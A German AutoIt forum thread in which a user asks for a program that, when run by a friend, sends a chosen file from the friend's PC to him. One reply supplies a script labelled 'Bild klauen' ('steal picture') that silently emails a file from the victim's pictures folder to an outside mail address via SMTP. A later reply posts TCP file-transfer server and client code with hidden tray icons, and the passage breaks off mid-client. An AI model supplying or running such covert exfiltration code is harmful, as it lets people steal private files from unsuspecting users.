Datei vom anderen PC "downloaden"

  • Hi,
    Und zwar habe ich mich nicht gefragt ob es nicht vielleicht möglich wäre, Dateien
    von anderen Computer zu downloaden ? so das wenn einer nun auf dieses Programm klickt das ich dann die Datei die ich vorher eingestellt habe auf meinen Desktop bekomme ? Würde so etwas gehen ?

    Mfg infinity

  • ne, nicht im Netzwerk .. sondern im Inet
    Ich schicke nun n kolegen die datei und das programm downloadet mir
    dann die datei

  • also nochmals zum wiederholen: du schickst ihm eine Datei? in der Datei ist was?
    und was für eine Datei bekommst du zurück?
    TCPSend usw. Hilfe

    • Offizieller Beitrag

    Hi,

    versuch mal dies :

    Spoiler anzeigen
    [autoit]

    ; Bild klauen :)
    #Include<file.au3>
    Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
    ;##################################
    ; Include
    ;##################################
    #Include<file.au3>
    ;##################################
    ; Variables
    ;##################################
    $s_SmtpServer = "mail.gmx.net" ; address for the smtp-server to use - REQUIRED
    $s_FromName = " " ; name from who the email was sent
    $s_FromAddress = "test@gmx.de" ; address from where the mail should come
    $s_ToAddress = "test@gmx.de" ; destination address of the email - REQUIRED
    $s_Subject = "Bild klauen" ; subject from the email - can be anything you want it to be
    $as_Body = "Ich habe es geschafft! :-)" ; the messagebody from the mail - can be left blank but then you get a blank mail
    $asFile = "01.jpg"
    $s_AttachFiles = @UserProfileDir & "\Eigene Dateien\Eigene Bilder\" & $asFile ; the file you want to attach- leave blank if not needed
    $s_CcAddress = "" ; address for cc - leave blank if not needed
    $s_BccAddress = "" ; address for bcc - leave blank if not needed
    $s_Username = "user" ; username for the account used from where the mail gets sent - REQUIRED
    $s_Password = "passwort" ; password for the account used from where the mail gets sent - REQUIRED
    $IPPort = 25 ; port used for sending the mail
    $ssl = 0 ; enables/disables secure socket layer sending - put to 1 if using httpS
    ;~ $IPPort=465 ; GMAIL port used for sending the mail
    ;~ $ssl=1 ; GMAILenables/disables secure socket layer sending - put to 1 if using httpS

    [/autoit] [autoit][/autoit] [autoit]

    ;##################################
    ; Script
    ;##################################
    Global $oMyRet[2]
    Global $oMyError = ObjEvent("AutoIt.Error", "MyErrFunc")
    $rc = _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body, $s_AttachFiles, $s_CcAddress, $s_BccAddress, $s_Username, $s_Password, $IPPort, $ssl)
    If @error Then
    MsgBox(0, "Error sending message", "Error code:" & @error & " Description:" & $rc)
    EndIf
    ;

    [/autoit] [autoit][/autoit] [autoit]

    Func _INetSmtpMailCom($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject = "", $as_Body = "", $s_AttachFiles = "", $s_CcAddress = "", $s_BccAddress = "", $s_Username = "", $s_Password = "", $IPPort = 25, $ssl = 0)
    $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & $s_FromName & '" <' & $s_FromAddress & '>'
    $objEmail.To = $s_ToAddress
    Local $i_Error = 0
    Local $i_Error_desciption = ""
    If $s_CcAddress <> "" Then $objEmail.Cc = $s_CcAddress
    If $s_BccAddress <> "" Then $objEmail.Bcc = $s_BccAddress
    $objEmail.Subject = $s_Subject
    If StringInStr($as_Body, "<") And StringInStr($as_Body, ">") Then
    $objEmail.HTMLBody = $as_Body
    Else
    $objEmail.Textbody = $as_Body & @CRLF
    EndIf
    If $s_AttachFiles <> "" Then
    Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
    For $x = 1 To $S_Files2Attach[0]
    $S_Files2Attach[$x] = _PathFull($S_Files2Attach[$x])
    If FileExists($S_Files2Attach[$x]) Then
    $objEmail.AddAttachment ($S_Files2Attach[$x])
    Else
    $i_Error_desciption = $i_Error_desciption & @LF & 'File not found to attach: ' & $S_Files2Attach[$x]
    SetError(1)
    Return 0
    EndIf
    Next
    EndIf
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserver") = $s_SmtpServer
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = $IPPort
    ;Authenticated SMTP
    If $s_Username <> "" Then
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendusername") = $s_Username
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/sendpassword") = $s_Password
    EndIf
    If $ssl Then
    $objEmail.Configuration.Fields.Item ("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    EndIf
    ;Update settings
    $objEmail.Configuration.Fields.Update
    ; Sent the Message
    $objEmail.Send
    If @error Then
    SetError(2)
    Return $oMyRet[1]
    EndIf
    EndFunc ;==>_INetSmtpMailCom
    ;
    ;
    ; Com Error Handler
    Func MyErrFunc()
    $HexNumber = Hex($oMyError.number, 8)
    $oMyRet[0] = $HexNumber
    $oMyRet[1] = StringStripWS($oMyError.description, 3)
    ConsoleWrite("### COM Error ! Number: " & $HexNumber & " ScriptLine: " & $oMyError.scriptline & " Description:" & $oMyRet[1] & @LF)
    SetError(1); something to check for when this function returns
    Return
    EndFunc ;==>MyErrFunc

    [/autoit]

    Edit : ungetestet, da die Firmen-FW sowas nicht zuläßt!

    So long,

    Mega

  • Im englischen Forum hab ich ein Filetransfer script gefunden was eine datei mit bis zu 1,3 MB/s verschickt. Früher was das Problem das es bei großen dateien langsam vorran geht bzw garnicht geht. Aber mit diesem hier kann man wohl alles verschicken hatte bisher keine Probleme:
    Server:

    Spoiler anzeigen
    [autoit]

    ; ----------------------------------------------------------------------------
    ;
    ; AutoIt Version: 3.1.1.98
    ; Author: MrSpacely <Visit https://autoit.de/www.autoit.com and msg me at the forum>
    ;
    ; Script Function:
    ; Tcp File transfer server (To show its possible)
    ; Server Writes files to disk wich client sends. (Also binary)
    ; Filesize and name are checked, flow control against network trouble
    ; Tested over localhost and over a wifi connection with lots of interference
    ;
    ; ----------------------------------------------------------------------------

    [/autoit] [autoit][/autoit] [autoit]

    ;Main Startup Calls
    ;-Top calls
    #NoTrayIcon
    ;includes
    #include <Misc.au3>
    #include <GUIConstants.au3>
    ;
    Opt("TrayIconHide", 1)
    Opt("GUIOnEventMode", 1)

    [/autoit] [autoit][/autoit] [autoit]

    ;
    ;-Variables
    $IP = @IPAddress1
    $PORT = 31337
    $defaultport = 31337
    $Savelocation = @scriptdir & "\Upload\"
    $packsize = 16384
    $error = 0

    $version = "1.1"
    $listenon = 1
    $listening = 0
    $accepted = 0
    $accepton = 0
    $headerreceived = 0
    $savefileopened = 0
    $packetsrecved = 0
    $timer1 = 0
    $timer2 = 0
    $Timer3 = 0
    $timer4 = timerinit()
    $completed = 0
    $RecvBufferH = ""
    dim $savefname,$savefsize,$savefile,$buttonlisten,$labelstatus,$progress1,$labelinfo,$editport
    $socketone = -1
    $socketreal = -1
    $RecvBufferI = ""
    $checkcon = 1
    $checkcon2 = 1
    $checkcon3 = 1
    $infovar = ""
    $lasttimepack = timerinit()
    $lastdiffpack = -1

    [/autoit] [autoit][/autoit] [autoit][/autoit] [autoit]

    ;
    ;-Functions
    DirCreate($Savelocation)
    TCPStartup()
    $dll = DllOpen("user32.dll")
    DirCreate($Savelocation)
    $mainhandle = MakeWindow($buttonlisten,$labelstatus,$progress1,$labelinfo,$editport,$Port)
    $label1 = GuictrlCreatelabel("",0,0,300,300)
    ;-OnEvent Definitions (Remember to check if window was created before doing this)
    GUISetOnEvent($GUI_EVENT_CLOSE,"Exitme",$mainhandle)
    GUICtrlSetOnEvent($buttonlisten,"Listenbutton")
    ;
    ;
    ;
    ;Main Loop
    While 1
    if $accepted = 1 then
    Sleep(1)
    if $checkcon = 0 then
    $checkcon = 1
    guictrlsetstate($progress1,$GUI_show)
    endif
    else
    if $listening = 1 then
    sleep(10)
    if $checkcon3 = 0 then
    $checkcon3 = 1
    Guictrlsetdata($labelinfo,"")
    endif
    else
    if $checkcon3 = 1 then
    $checkcon3 = 0
    Guictrlsetdata($labelinfo,"")
    endif
    endif
    sleep(250)
    Guictrlsetdata($labelinfo,"")
    if $checkcon = 1 then
    $checkcon = 0
    guictrlsetstate($progress1,$GUI_hide)
    endif
    endif
    if $listenon = 1 then
    if $checkcon2 = 0 then
    $checkcon2 = 1
    Guictrlsetdata($labelstatus,"Listening")
    guictrlsetstate($editport,$gui_disable)
    endif
    else
    if $checkcon2 = 1 then
    $checkcon2 = 0
    Guictrlsetdata($labelstatus,"Server Stopped")
    guictrlsetstate($editport,$gui_enable)
    endif
    endif
    ;If ReadKey("1B",$dll,$mainhandle) Then Exitme()
    if $listenon = 1 AND $listening = 0 then
    $readportvar = int(number(guictrlread($editport)))
    if (IsNumber($readportvar) = 1 AND $readportvar < 65536) AND $readportvar > 0 then
    $Port = $readportvar
    else
    $Port = $defaultport
    guictrlsetdata($editport,$Port)
    endif
    guictrlsetstate($editport,$gui_disable)
    $accepton = 0
    $socketone = Listen($IP,$PORT)
    if $socketone <> -1 then $listening = 1
    GuiCtrlSetData($labelstatus,"Listening")
    GuiCtrlSetData($buttonlisten,"Stop Server")
    else
    if $listenon = 0 then
    if $socketreal <> -1 then
    TCPSend($socketreal,"ServerClosed!")
    Disconnect($socketreal)
    FileClose($savefile)
    endif
    $headerreceived = 0
    $accepted = 0
    $socketreal = -1
    $savefileopened = 0
    $listening = 0
    $accepton = 0
    $accepted = 0
    TcpClosesocket($socketone)
    $listenon = -1
    $timer1=0
    $timer2=0
    $timer3=0
    endif
    endif
    if ($listenon = 1 AND $listening = 1) AND $socketone <> -1 then
    $accepton = 1
    endif
    if ($listenon = 1 AND $listening = 1) AND $socketone = -1 then $listening = 0
    if $accepton = 1 AND $accepted = 0 then
    $socketreal = Accept($socketone)
    if $socketreal <> -1 then $accepted = 1
    if $accepted = 1 then GuiCtrlSetData($labelstatus,"Client connected")
    $savefname = ""
    $savefsize = ""
    $savefile = ""
    $timer1=0
    $timer2=0
    $timer3=0
    endif
    if ($accepton = 1 AND $accepted = 1) AND $socketreal = -1 then $accepted = 0
    if (($accepton = 1 AND $accepted = 1) AND $socketreal <> -1) AND $headerreceived = 0 then
    if $timer1 = 0 then
    $timer1 = timerinit()
    $RecvBufferH = ""
    endif
    if $timer2 = 0 then
    $timer2 = timerinit()
    endif
    $return1 = RecvHeader($socketreal,$Savelocation,$savefname,$savefsize,$packsize,$RecvBufferH)
    if $return1 = 1 then
    $headerreceived = 1
    GuiCtrlSetData($labelstatus,"File accepted")
    $RecvBufferH = ""
    else
    if $return1 < 1 then
    if $return1 = -3 then
    TCPSend($socketreal,"Bye!")
    $accepted = 0
    Disconnect($socketreal)
    $socketreal = -1
    $RecvBufferH = ""
    $timer1 = 0
    $timer2 = 0
    else
    $headerreceived = 0
    if timerdiff($timer2) > 500 then
    TCPSend($socketreal,"Hi{" & $version & ";" & $packsize & "}!") ;
    $timer2 = 0
    endif
    if timerdiff($timer1) > 10000 then
    TCPSend($socketreal,"Error_RecvHeader!")
    $accepted = 0
    Disconnect($socketreal)
    GuiCtrlSetData($labelstatus,"Listening")
    $socketreal = -1
    $RecvBufferH = ""
    $timer1 = 0
    $timer2 = 0
    endif
    endif
    else
    $accepted = 0
    Disconnect($socketreal)
    GuiCtrlSetData($labelstatus,"Listening")
    $socketreal = -1
    $RecvBufferH = ""
    $timer1 = 0
    $timer2 = 0
    endif
    endif
    endif
    if (($accepton = 1 AND $accepted = 1) AND $socketreal <> -1) AND $headerreceived = 1 then
    if $savefileopened = 0 then
    $savefile = Fileopen($Savelocation & $savefname,2)
    GuiCtrlSetData($labelstatus,"Receiving file")
    $savefileopened = 1
    $packetsrecved = 0
    $completed = 0
    endif
    if $savefile <> -1 then
    $percentr =roundup(100 * (($packetsrecved * $packsize) / $savefsize))
    GuiCtrlSetData($progress1,$percentr)
    if timerdiff($timer4) > 250 then
    $infovar = "Filename: """ & $savefname & """" & @CRLF & "Filesize: " & bytestring($savefsize) & @CRLF & "Data received: " & bytestring($packetsrecved * $packsize) & @CRLF
    $infovar &= "Percent received: " & $percentr & " %" & @CRLF & "Transferspeed: " & Transferspeed($lastdiffpack,$packsize)
    Guictrlsetdata($labelinfo,$infovar)
    $timer4 = timerinit()
    endif
    if $savefileopened = 1 then
    if $timer3 = 0 then
    $timer3 = timerinit()
    ;$RecvBufferI = ""
    endif
    if int($savefsize/$packsize) = $packetsrecved then
    $lastpackif = $savefsize - (int($savefsize/$packsize) * $packsize)
    else
    $lastpackif = 0
    endif
    $recvreturn = RecvIt($socketreal,$lastpackif,$packsize,$RecvBufferI)
    ;$testvar = Stringlen($RecvBufferI)
    if $recvreturn <> 1 then
    if timerdiff($timer3) > 5000 then
    $headerreceived = 0
    $accepted = 0
    TCPSend($socketreal,"Timed out please send data!")
    Disconnect($socketreal)
    GuiCtrlSetData($labelstatus,"Listening")
    FileClose($savefile)
    $socketreal = -1
    $savefileopened = 0
    $timer3 =0
    endif
    else
    FileWrite($savefile,$RecvBufferI)
    $packetsrecved += 1
    $timer3 =0
    ;msgbox(0,"",int($savefsize/$packsize) & " " & $packetsrecved)
    if int($savefsize/$packsize) >= $packetsrecved then
    TCPSend($socketreal,"Nextpart!")
    $lastdiffpack = timerdiff($lasttimepack)
    $lasttimepack = timerinit()
    else
    $completed = 1
    endif
    $RecvBufferI = ""
    ;$testvar=1
    endif
    if $completed = 1 then
    TCPSend($socketreal,"TransferOk!")
    ;msgbox(0,"",FileGetSize($Savelocation & $savefname))
    $completed = 0
    $headerreceived = 0
    $accepted = 0
    ;sleep(1000)
    Disconnect($socketreal)
    GuiCtrlSetData($labelstatus,"Listening")
    FileClose($savefile)
    $socketreal = -1
    $savefileopened = 0
    endif
    else
    $headerreceived = 0
    $accepted = 0
    TCPSend($socketreal,"ServerError1!")
    Disconnect($socketreal)
    GuiCtrlSetData($labelstatus,"Listening")
    $socketreal = -1
    $savefileopened = 0
    endif
    else
    $headerreceived = 0
    $accepted = 0
    TCPSend($socketreal,"ServerError2!")
    Disconnect($socketreal)
    GuiCtrlSetData($labelstatus,"Listening")
    $socketreal = -1
    $savefileopened = 0
    endif
    endif
    Wend
    ;
    ;Functions Definitions
    Func Transferspeed($timerdiff,$packetsize)
    if $timerdiff <> -1 then
    Return bytestring( ($packetsize / ($timerdiff / 1000) )) & "/s"
    else
    Return "0Kb/s"
    endif
    endfunc
    Func bytestring($inputbytes)
    if $inputbytes < 1024 then return Round($inputbytes) & "b"
    if $inputbytes > 1024 AND $inputbytes < (1024*1024) then return Round($inputbytes/1024,1) & " Kb"
    if $inputbytes > (1024*1024) AND $inputbytes < (1024*1024*1024) then return Round($inputbytes/(1024*1024),1) & " Mb"
    if $inputbytes > (1024*1024*1024) then return Round($inputbytes/(1024*1024*1024),1) & " Gb"
    endfunc
    Func roundup($inputvar)
    if int($inputvar) < $inputvar then
    return number(int($inputvar) + 1)
    else
    return int($inputvar)
    endif
    endFunc

    [/autoit] [autoit][/autoit] [autoit]

    Func Listenbutton()
    Global $listenon,$buttonlisten,$socketreal,$socketone
    if $listenon = 1 then
    GuiCtrlSetData($buttonlisten,"Start server")
    $listenon = 0
    else
    ;GuiCtrlSetData($buttonlisten,"Stop server!")
    $listenon = 1
    endif
    endFunc
    Func Bitif($inputvar,$inputvar2)
    if $inputvar2 = BitAnd($inputvar,$inputvar2) then
    Return 1
    else
    Return 0
    Endif
    EndFunc
    Func ReadKey($hexkey,$dll1,$handle1)
    if _IsPressed($hexkey, $dll1) AND BitAnd(WinGetState($handle1),8) then
    Return 1
    else
    Return 0
    Endif
    EndFunc
    Func MakeWindow(byref $blisten,byref $lstatus,byref $prog1,byref $linfo,byref $eport,$Port1)
    local $g_height = 200
    local $g_width = 300
    local $statusheight = 18
    $winhand1 = GUICreate( "Tcp Transfer - Server" ,$g_width,$g_height, 0, 0)
    $blisten = GuiCtrlCreateButton("Start server",75,2,150,18)
    GuictrlCreateLabel("Port: ",227,4,20,18)
    $eport = GuiCtrlCreateinput($Port1,250,2,45,18)
    $linfo = GUICtrlCreateLabel ("",2,24,296,130,$SS_Sunken)
    $lstatus = GUICtrlCreateLabel ("Not Connected",0,$g_height-$statusheight,$g_width,$statusheight,bitor($SS_SIMPLE,$SS_SUNKEN))
    $prog1 = GuiCtrlCreateProgress(2,160,$g_width-4,$statusheight)
    guictrlsetstate($prog1,$gui_hide)
    GUISetState (@SW_SHOW,$winhand1)
    Return $winhand1
    Endfunc

    [/autoit] [autoit][/autoit] [autoit]

    Func Sendit()
    EndFunc

    [/autoit] [autoit][/autoit] [autoit]

    Func RecvIt($socket1,$lastpack,$packetsize1,byref $RecvBuffer)
    $bytesrecv = StringLen($RecvBuffer)
    if $lastpack < 1 then
    $RecvBuffer = $RecvBuffer & TCPRecv($socket1,$packetsize1 - $bytesrecv)
    if (StringLen($RecvBuffer) >= $packetsize1) then
    Return 1
    else
    Return 0
    endif
    else
    $RecvBuffer = $RecvBuffer & TCPRecv($socket1,$lastpack - $bytesrecv)
    if (StringLen($RecvBuffer) >= $lastpack) then
    Return 1
    else
    Return 0
    endif
    endif

    EndFunc
    Func RecvHeader($socket1,$Location1,byref $fname1,byref $fsize1,$packetsize1,byref $RecvBuffer)
    Local $fname,$fsize
    $RecvBuffer = $RecvBuffer & TCPRecv($socket1,$packetsize1)
    if $RecvBuffer <> "" then
    $CheckedHeader = CheckHeader($RecvBuffer,$Location1,$fname,$fsize)
    if $CheckedHeader = 1 then
    $fname1 = $fname
    $fsize1 = $fsize
    TCPSend($socket1,"HeaderOk!")
    Return 1
    else
    if $CheckedHeader = -1 then TCPSend($socket1,"ErrorInFilename!")
    if $CheckedHeader = -2 then TCPSend($socket1,"FileTooBig!")
    Return $CheckedHeader
    endif
    else
    ;TCPSend($socket1,"Error_RecvHeader!")
    ;Disconnect($socket1)
    Return 0
    endif
    EndFunc
    Func CheckHeader($RecvString,$location,byref $Filename1,byref $FileSize1)
    Local $RegExp1 = "Header:(.*?);([0-9]{1,255});HeaderEnd"
    if StringRegExp($RecvString,$RegExp1) then
    $Header = StringRegExp($RecvString,$RegExp1,1)
    if UBound($header) = 2 then
    if CheckLegalFilename($header[0]) <> 1 then
    Return -1
    else
    if CheckFreeSpace(Number($Header[1]),$location) then
    $FileSize1 = Number($Header[1])
    $FileName1 = $Header[0]
    Return 1
    else
    Return -2
    endif
    endif
    else
    Return 0
    endif
    else
    if ($RecvString = "VersionConflict!") then
    ;msgbox(0,"",$RecvString)
    Return -3
    else
    Return 0
    endif
    endif

    EndFunc
    Func CheckLegalFilename($Name1)
    local $lengte = StringLen($Name1)
    If $lengte > 255 then Return 0
    local $regexp1 = '[^;\\/:*?"<>|]{'& $lengte &'}'
    Return StringRegExp($Name1,$regexp1)
    EndFunc
    Func CheckFreeSpace($Size,$Location)
    if ((DriveSpaceFree($Location)*1024)*1024) > $Size then
    Return 1
    Else
    Return 0
    Endif
    EndFunc
    Func Listen($ip1,$port1)
    Return TCPListen($ip1,$port1,0)
    EndFunc

    [/autoit] [autoit][/autoit] [autoit]

    Func Accept($socket1)
    $returnval = TCPAccept($socket1)
    if $returnval <> -1 then
    Return $returnval
    else
    Return -1
    endif
    EndFunc

    [/autoit] [autoit][/autoit] [autoit]

    Func Disconnect($socket1)
    TCPCloseSocket ($socket1)
    EndFunc

    [/autoit] [autoit][/autoit] [autoit]

    Func Exitme()
    DllClose($dll)
    TCPShutdown()
    exit
    EndFunc
    ;

    [/autoit]


    Client:

    Spoiler anzeigen
    [autoit]

    ; ----------------------------------------------------------------------------
    ;
    ; AutoIt Version: 3.1.1.98
    ; Author: MrSpacely <Visit https://autoit.de/www.autoit.com and msg me at the forum>
    ;
    ; Script Function:
    ; Tcp File transfer client (To show its possible)
    ; Client sends file server writes to disk. (also binary)
    ; Filesize and name are checked, flow control against network trouble
    ; Tested over localhost and over a wifi connection with lots of interference.
    ;
    ; ----------------------------------------------------------------------------

    [/autoit] [autoit][/autoit] [autoit]

    ;Main Startup Calls
    ;-Top calls
    #NoTrayIcon
    ;includes
    #include <Misc.au3>
    #include <GUIConstants.au3>
    ;
    Opt("TrayIconHide", 1)
    Opt("GUIOnEventMode", 1)
    ;
    ;-Variables
    $IP = @ipaddress1
    $PORT = 31337
    $defaultport = 31337
    $packsize = 4096
    $error = 0
    dim $recvbuffer = ""
    $lastmessage = ""
    $connected = 0
    $lasttimepack = timerinit()
    $lastdiffpack = -1
    $bytessend = 0
    $timer1 = timerinit()
    $transferspeedvar = ""

    [/autoit] [autoit][/autoit] [autoit]

    $version = "1.1"

    [/autoit] [autoit][/autoit] [autoit]

    $err = 0
    $HeaderOk = 0
    $packetssend = 0
    $concheck = 0
    $concheck2 = 0

    [/autoit] [autoit][/autoit] [autoit]

    dim $buttonbrowse,$buttonsend,$editip,$editport,$editfile,$progress1,$labelstatus,$labelprogress,$labellastmsg,$ffullname,$fname,$fsize,$Connect,$filehand


    ;
    ;-Functions
    TCPStartup()
    $dll = DllOpen("user32.dll")
    $mainhandle = MakeWindow($buttonbrowse,$buttonsend,$editip,$editfile,$progress1,$labelstatus,$labelprogress,$labellastmsg,$editport)
    GuiCtrlSetData($editip,@ipaddress1)
    ;-OnEvent Definitions (Remember to check if window was created before doing this)
    GUISetOnEvent($GUI_EVENT_CLOSE,"Exitme",$mainhandle)
    GUICtrlSetOnEvent($buttonbrowse,"Browse")
    GUICtrlSetOnEvent($buttonsend,"Sendbutton")
    ;
    GuiCtrlSetData($editip,$Ip)
    GuiCtrlSetData($editport,$Port)
    ;
    ;Main Loop
    While 1
    if $connected = 1 then
    if $concheck2 = 1 then
    GuiCtrlSetState($editfile,$Gui_disable)
    GuiCtrlSetState($editip,$Gui_disable)
    GuiCtrlSetState($editport,$Gui_disable)
    GuiCtrlSetState($buttonbrowse,$Gui_disable)
    ;GuiCtrlSetState($buttonsend,$Gui_disable)
    GuiCtrlSetdata($buttonsend,"Stop!")
    $concheck2 = 0
    endif
    if $concheck = 0 then $concheck = 1
    Sleep(1)
    if timerdiff($timer1) > 250 then
    $transferspeedvar = Transferspeed($lastdiffpack,$packsize)
    $timer1 = timerinit()
    endif
    GuiCtrlSetData($progress1,roundup(100 * (($packetssend * $packsize) / $fsize)))
    GuiCtrlSetData($labelprogress,StringFormat("% 6.1f",round(100*(($packetssend * $packsize) / $fsize),1)) & " % of " & bytestring($fsize) & " at " & $transferspeedvar)
    GuiCtrlSetData($labelstatus,"Connected");"Connected"
    If $err <> 0 Then GuiCtrlSetData($labelstatus,"Not Connected")
    $recvbuffer = $recvbuffer & TCPRecv($Connect,4096)
    $err = @error
    if $err <> 0 then $connected = 0
    if stringinstr($recvbuffer,"!") then
    $lastmessage = STringregexpreplace($recvbuffer,".*?[!]?([^!]+!\>)","\1")
    $recvbuffer = ""
    endif
    if (NOT ($HeaderOk = 1)) then
    $checkvar = CheckHeader($lastmessage,$packsize,$version)
    ;msgbox(0,"",$packsize)
    if $checkvar = 1 then
    TCPSend($Connect,"Header:" & $fname & ";" & $fsize & ";HeaderEnd")
    else
    if $checkvar = -1 then TCPSend($Connect,"VersionConflict!")
    endif
    endif
    if $lastmessage == "HeaderOk!" then
    $HeaderOk = 1
    $lastmessage = ""
    GuiCtrlSetData($labellastmsg,"File accepted - Transferring...")
    if (int($fsize/$packsize)) >= ($packetssend ) then
    $bytessend = TcpSend($Connect,FileRead($filehand,$packsize))
    else
    $bytessend = TcpSend($Connect,FileRead($filehand,$fsize-int($packsize*$packetssend)))
    endif
    endif
    if $lastmessage == "Nextpart!" then
    $packetssend += 1
    $lastmessage = ""
    $lastdiffpack = timerdiff($lasttimepack)
    $lasttimepack = timerinit()
    if (int($fsize/$packsize)) >= ($packetssend ) then
    $bytessend = TcpSend($Connect,FileRead($filehand,$packsize))
    else
    $bytessend = TcpSend($Connect,FileRead($filehand,$fsize-int($packsize*$packetssend)))
    endif
    endif
    if $lastmessage = "TransferOk!" then
    GuiCtrlSetState($progress1,$Gui_hide)
    GuiCtrlSetData($labellastmsg,"Transfer Complete")
    GuiCtrlSetData($labelstatus,"Not Connected")
    $lastmessage = ""
    $connected = 0
    $packetssend = 0
    endif
    if $lastmessage = "Bye!" then
    GuiCtrlSetState($progress1,$Gui_hide)
    GuiCtrlSetData($labellastmsg,"Version Conflict")
    $lastmessage = ""
    $connected = 0
    $packetssend = 0
    endif
    if $lastmessage = "Serverclosed!" then
    GuiCtrlSetState($progress1,$Gui_hide)
    GuiCtrlSetData($labellastmsg,"Server Closed")
    $lastmessage = ""
    $connected = 0
    $packetssend = 0
    endif

    [/autoit] [autoit][/autoit] [autoit]

    else
    sleep(250)
    if $concheck2 <> 1 then $concheck2 = 1
    if $concheck <> 0 then
    Fileclose($filehand)
    $concheck = 0
    $lastmessage = ""
    $connected = 0
    $packetssend = 0
    GuiCtrlSetState($progress1,$Gui_hide)

    [/autoit] [autoit][/autoit] [autoit]

    GuiCtrlSetState($editfile,$Gui_enable)
    GuiCtrlSetState($editip,$Gui_enable)
    GuiCtrlSetState($editport,$Gui_enable)
    GuiCtrlSetState($buttonbrowse,$Gui_enable)
    ;GuiCtrlSetState($buttonsend,$Gui_enable)
    GuiCtrlSetdata($buttonsend,"Send")

    GuiCtrlSetData($labelstatus,"Not Connected")
    GuiCtrlSetData($labelprogress,"")
    endif
    endif
    Wend
    ;
    ;Functions Definitions
    Func Transferspeed($timerdiff,$packetsize)
    if $timerdiff <> -1 then
    Return bytestring( ($packetsize / ($timerdiff / 1000) )) & "/s"
    else
    Return "0Kb/s"
    endif
    endfunc
    Func bytestring($inputbytes)
    if $inputbytes < 1024 then return Round($inputbytes) & "b"
    if $inputbytes > 1024 AND $inputbytes < (1024*1024) then return Round($inputbytes/1024,1) & " Kb"
    if $inputbytes > (1024*1024) AND $inputbytes < (1024*1024*1024) then return Round($inputbytes/(1024*1024),1) & " Mb"
    if $inputbytes > (1024*1024*1024) then return Round($inputbytes/(1024*1024*1024),1) & " Gb"
    endfunc
    Func roundup($inputvar)
    if int($inputvar) < $inputvar then
    return number(int($inputvar) + 1)
    else
    return int($inputvar)
    endif
    endFunc
    Func CheckHeader($RecvString,byref $packetsize,$version1)
    Local $RegExp1 = "Hi\{([0-9]{1,21}\.[0-9]{1,21});([0-9]{1,255})\}!"
    if StringRegExp($RecvString,$RegExp1) then
    $Header = StringRegExp($RecvString,$RegExp1,1)
    if UBound($header) = 2 then
    $packetsize = int(number($header[1]))
    if $header[0] <> $version1 then
    Return -1
    else
    Return 1
    endif
    else
    Return 0
    endif
    else
    Return 0
    endif
    endfunc
    Func Browse()
    Global $fname,$ffullname,$editfile
    $ffullname = FileOpenDialog("Choose File", "::{20D04FE0-3AEA-1069-A2D8-08002B30309D}", "All Files(*.*)", 3)
    $fname = StringSplit($ffullname, "\")
    $fname = $fname[$fname[0]]
    GuiCtrlSetData($editfile,$ffullname)
    endFunc
    Func Sendbutton()
    global $connected,$fname,$ffullname,$fsize,$HeaderOk,$err,$connected,$lastmessage,$recvbuffer,$Connect,$filehand,$Ip,$Port,$labellastmsg,$packetssend,$progress1,$editip,$buttonsend,$editport
    if $connected = 0 then
    $recvbuffer = ""
    $lastmessage = ""
    $err = 0
    $HeaderOk = 0
    $fsize = 0
    $packetssend = 0
    $Ip = GuiCtrlRead($editip)
    $ffullname = GuiCtrlRead($editfile)
    $readportvar = int(number(guictrlread($editport)))
    if (IsNumber($readportvar) = 1 AND $readportvar < 65536) AND $readportvar > 0 then
    $Port = $readportvar
    else
    $Port = $defaultport
    guictrlsetdata($editport,$Port)
    endif
    if FileExists($ffullname) = 1 then
    $fsize = FileGetSize($ffullname)
    $Ip = TCPNameToIP($Ip)
    GuiCtrlSetData($editip,$Ip)
    $Connect = TcpConnect ($Ip, $Port)
    If $Connect = -1 Then
    GuiCtrlSetData($labellastmsg,"Unable to connect")
    else
    $connected = 1
    GuiCtrlSetState($progress1,$Gui_show)
    $filehand = FileOpen($ffullname,0)
    endif
    else
    GuiCtrlSetData($labellastmsg,"File does not exist")
    endif
    else
    $connected = 0
    GuiCtrlSetData($labellastmsg,"User aborted")
    TcpCloseSocket($Connect)
    endif

    [/autoit] [autoit][/autoit] [autoit]

    EndFunc
    Func MakeWindow(byref $bbrowse,byref $bsend,byref $eip, byref $efile,byref $prog1,byref $lstatus,byref $lprogress,byref $llastmsg,byref $eport)
    local $g_height = 100
    local $g_width = 354
    local $progresswidth = 75
    local $statusheight = 18
    $winhand1 = GuiCreate("Tcp Transfer - Client",$g_width,$g_height,300,25)
    GuiCtrlCreateLabel("Server IP Address: ",2,4, 100,18)
    $eip = GuiCtrlCreateInput("",100,2,100,18)
    GuiCtrlCreateLabel("Port: ",202,4,48,18)
    $eport = GuiCtrlCreateInput("",250,2,50,18)
    GuiCtrlCreateLabel("File: ",2,24, 100,18)
    $efile = GuiCtrlCreateInput("",100,22,150,18)
    $bbrowse = GuiCtrlCreateButton("Browse",252,22,50,18)
    $bsend = GuiCtrlCreateButton("Send",302,22,50,18)
    $lstatus = GUICtrlCreateLabel ("Not Connected",0,$g_height-$statusheight,$g_width/2,$statusheight,bitor($SS_SIMPLE,$SS_SUNKEN))
    $lprogress = GUICtrlCreateLabel ("",$g_width/2,$g_height-$statusheight,$g_width/2,$statusheight,bitor($SS_SIMPLE,$SS_SUNKEN))
    GUICtrlCreateLabel ("Last Message: ",2,45,200,18)
    $llastmsg = GUICtrlCreateLabel ("",2,60,$g_width-4,18,$SS_SIMPLE )
    $prog1 = GuiCtrlCreateProgress($g_width/2-$progresswidth-4,$g_height - ( $statusheight-3),$progresswidth,$statusheight-4)
    GuiCtrlSetState($prog1,$Gui_hide)
